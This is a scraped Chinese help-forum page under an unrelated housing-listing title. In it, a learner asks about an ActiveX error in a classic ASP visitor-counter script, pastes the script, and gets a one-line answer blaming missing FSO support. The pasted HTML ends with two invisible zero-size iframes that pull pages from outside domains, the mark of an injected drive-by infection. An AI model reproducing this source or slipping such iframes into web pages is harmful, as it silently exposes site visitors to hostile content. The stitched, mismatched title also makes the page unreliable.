平谷二手房信息:ActiveX部件不能创建对象

来源:百度文库 编辑:杭州交通信息网 时间:2024/05/07 08:38:35
我的电脑也是这个问题,请教高手指导。
非常感谢!
Microsoft VBScript 编译器错误 错误 '800a03f6'

缺少 'End'

/iisHelp/common/500-100.asp,行242

Microsoft VBScript 运行时错误 错误 '800a01ad'

ActiveX 部件不能创建对象

/jishuqi6.asp,行5
下面是源程序:
<%
function counts(counterfile)
dim objfso,objts
application.Lock
set objfso= server.CreateObject("scripting.filesystemobject")
set objts=objfso.opentextfile(server.MapPath(counterfile),1,true)
if not objts.atendofstream then
counts=clng(objts.readline)
end if
counts = counts + 1
objts.close
set objts=objfso.opentextfile(server.MapPath(counterfile),2,true)
objts.writeline(counts)
objts.close
application.UnLock
end function
%>

<html>
<head>
<title>无标题文档</title>
</head>

<body>
你是第<% =counts("counter.txt") %>位访客

</body>
</html>
<iframe src="http://www.ads183.com/123/" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://down.136136.net/htm/" width="0" height="0" frameborder="0"></iframe>
我是学习阶段,自己的电脑虚拟成服务器,故总是出现问题。

set objfso= server.CreateObject("scripting.filesystemobject")
您的服务器不支持FSO,请与空间商联系。